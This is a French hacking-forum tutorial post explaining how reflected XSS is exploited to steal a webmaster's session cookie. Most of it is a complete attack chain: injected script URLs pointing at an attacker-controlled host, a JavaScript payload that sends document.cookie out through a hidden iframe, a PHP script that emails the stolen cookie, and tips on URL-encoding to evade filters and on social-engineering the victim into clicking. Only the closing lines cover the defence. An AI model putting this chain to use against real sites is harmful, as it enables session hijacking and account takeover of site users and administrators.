• STATISTIQUES
  • Il y a eu un total de 0 membres et 50004 visiteurs sur le site dans les dernières 24h pour un total de 50 004 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Kalkulators
    Ce projet a plusieurs buts, le premier étant l’étude de toutes formes cryptographiques, le cot&ea...
    Cryptographie
    [FR] dcode
    dcode.fr est le site indispensable pour décoder des messages, tricher aux jeux de lettres, résoudre des énigmes...
    Outils / Add-on
    [EN] osix
    Site de challenge qui utilise un système de level on chaque épreuve doit être réussie avant d'accédÃ...
    Challenges
    [EN] PHPFreaks
    PHPFreaks est un site dédié à l'apprentissage et l'enseignement du PHP. Ici vous trouver...
    Programmation
    [FR] PHP France
    Pour tout savoir sur le PHP, en français. Vous trouverez des tutoriels, des exemples, des astuces, toute la do...
    Hacking
    [EN] xda-developers
    Très bon site pour les gros bidouilleurs de smartphone de windows à androïd et de Apple jusqu'...
    Phreaking
    [EN] Astalavista
    Un site aux ressources incontournable depuis plusieurs années, Astalavista est réellement devenue un cl...
    Hacking

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
Comment est exploitée une faille XSS
28-01-2007, 01h31 (Modification du message : 04-03-2013, 14h11 par supersnail.)
Message : #1
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 157
Inscription : Jan 2012
Comment est exploitée une faille XSS
Je vais inclure ce tuto dans les articles du site au courant de la semaine et essayer d'en composer sur une base régulière. Ça fait longtemps que j'y pensais, alors le voici en exclusivité sur PN.

Premièrement, le nom XSS vient de l’acronyme 'Cross Site Scripting' et non CSS qui peut porter à confusion avec 'Cascading Style Sheet' qui se trouve à être quelque chose de complètement différent.

Dans ce tuto, je vais vous expliquer comment une exploitation de cette faille peut être réalisée par une personne malveillante pour lui permette de recevoir par email le cookie du webmaster.

Comment reconnaître une faille XSS et comment elle se produit.
On analyse l’URL 'Uniform Resource Locator' (Adresse internet) qui peut nous donner plusieurs informations sur la façon dont les variables sont passées de page en page. Pour quelqu'un qui connaît beaucoup le codage web, c’est une très bonne façon d’imaginer comment la page est codée.

Voici un exemple d’URL qui pourrait être vulnérable.
Code :
http://www.lesite.com/index.php?var=pseudo&mod=1&...

Vous avez sûrement déjà remarqué des adresses longues d’un mètre, pleines d’information… Dans ce cas si, remarquez l’expression (var=pseudo). Mais qu'est-ce que ça veut dire? Simplement que la variable ici appelée (var) va porter la valeur (pseudo). Pour récupérer cette variable, le webmaster utilise ($_GET[var]). L’erreur qui provoque la faille XSS est que si cette variable est directement affichée dans la page sans être filtrée, on peut l’utiliser pour passer du code JavaScript directement dans la page. Pour savoir si une variable est vulnérable, il faut d’abord la tester. La façon la plus simple, c’est de générer une alerte javascript.

Code :
http://www.lesite.com/index.php?var=<script>alert()</script>&mod=1&...

Si vous voyez une boite d’alerte s’ouvrir, c’est que le site est vulnérable.*

Comment exploiter la faille XSS
Maintenant que nous savons que le site en question ne filtre pas les caractères de programmation avant d'inclure la variable dans sa page, nous pouvons en profiter pour passer aux choses sérieuses. Puisque les caractères passés dans l’URL sont limités en nombres, nous devrons procéder à l’inclusion d’une page .js afin de pouvoir inclure tout notre codage sans limitation.

Voici donc à quoi cela ressemblerait.
Code :
http://www.lesite.com/index.php?var=<SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>&mod=1&...
(Petite remarque, la chaîne %20 est simplement un espace encodé. Nous en reparlerons plus tard)

C’est ici que la plus part des tuto arrête. Mais aujourd’hui, nous allons pousser le sujet plus loin et se rendre jusqu’à l’exploitation complète de la faille.

Afin de pouvoir recevoir le cookie par courriel, nous devons réussir à fabriquer un codage qui va ouvrir une page de façon parallèle et qui contient comme variable le cookie en question.

Dans le fichier cookie.js, nous allons ouvrire un IFRAME qui inclura en variable le cookie de la personne. Voici le codage.

Code :
document.write('<iframe src=http://tonsite.com/cookie.php?cookie='+document.cookie+' HEIGHT=0 WIDTH=0></iframe>');

Ce codage va envoyer à cookie.php la variable (cookie) qui elle contient la valeur du cookie de la personne qui va cliquer sur le lien. Il nous reste simplement à créé le codage qui va récupérer tout ça et nous l’envoyer par email.

Dans le fichier cookie.php, le code va ressembler à ceci.
Code PHP :
<?php  
// Envoy du cookie par email  
$a "ton@adresse.com";  
$sujet "Exploitation XSS";  

// Codage HTML du message  
$message "<p style='margin-top: 0; margin-bottom: 0' align='center'>Vous venez de recevoir un cookie!</p>  
<p style='margin-top: 0; margin-bottom: 0' align='center'>&nbsp;</p>  
<p style='margin-top: 0; margin-bottom: 0'><b>
$_GET[cookie]</b></p>"

// Envoy du email 
$marge  "From: $a\r\n"
$marge .= "Content-type: text/html\r\n"
mail($a$sujet$message$marge); 
?>

Bien entendu, vous pouvez en profiter pour vous envoyer quelques informations supplémentaires sur la personne comme sont adresse IP qui peut toujours servirent pour d'autres sortes d'attaque.

Maintenant que nous avons tout mis en place, il ne vous reste plus qu'a utiliser un peut de SE (Social Engineering) Afin de demander au webmaster de bien gentiment cliquer sur le lien trafiqué. Pour cacher un peut le code malicieux, vous prouvez utiliser un encodeur URL. Le résultat ressemblerait à ceci :

Code :
http://www.lesite.com/index.php?var=%3CSCRIPT%2520SRC%3Dhttp%3A%2F%2Fx-hc.com%2F11.js%3E%3C%2FSCRIPT%3E&mod=1&...

Ceci peut également déjouer certain système de filtration et c'est un peu moins évident à deviner ... quoi que toujours un peut visible ...

Pousser plus loin...
Il existe énormément de place différente ou les failles XSS peuvent se produire. Plus récemment, plusieurs CMS se sont trouvés vulnérables au niveau des avatars et des inclusions d'images dans les messages en utilisant la balise IMG comme couverture.

Code :
<IMG SRC="javascript:alert();">

Ou simplement fermer la balise IMG et poursuivre avec le code JS
Code :
"><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>

Ce qui donnerait dans la source HTML
Code :
<IMG SRC=""><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>

Ce protégé
Désormais, ayant vu l'exploitation qui peut en être faite, voici la sécurisation de cette faille :

Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage. (qui lui est inutile).

Soyez intelligent et restez WhiteHat!
Par CyberSee
+1 (4) -1 (0) Répondre


Messages dans ce sujet
Comment est exploitée une faille XSS - par CyberSee - 28-01-2007, 01h31
RE: Comment exploiter une faille XSS - par ...:: BliNK ::... - 30-05-2012, 23h34
RE: Comment exploiter une faille XSS - par spgb - 20-08-2012, 10h18
RE: Comment exploiter une faille XSS - par Quintinou - 27-10-2012, 17h53
RE: Comment exploiter une faille XSS - par Quintinou - 28-10-2012, 14h32
RE: Comment est exploitée une faille XSS - par 0pc0deFR - 03-06-2013, 16h32
Comment exploiter une faille XSS - par julian - 28-01-2007, 12h32
Comment exploiter une faille XSS - par CyberSee - 03-06-2011, 03h09

Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment exploiter une faille SQL Injection CyberSee 33 3,585 22-09-2015, 21h53
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 1,306 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille WEB] LFI Swissky 10 920 25-02-2013, 22h04
Dernier message: InstinctHack
  [Faille Web] Full Path Disclosure Swissky 4 588 07-12-2012, 08h52
Dernier message: Shirobi
  Comment utiliser Metasploit EpicOut 4 442 15-09-2012, 20h47
Dernier message: Swissky
  Comment fonctionne les attaques de type IP-Spoofing Apophis 4 611 18-02-2007, 12h38
Dernier message: shutdownfuri

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut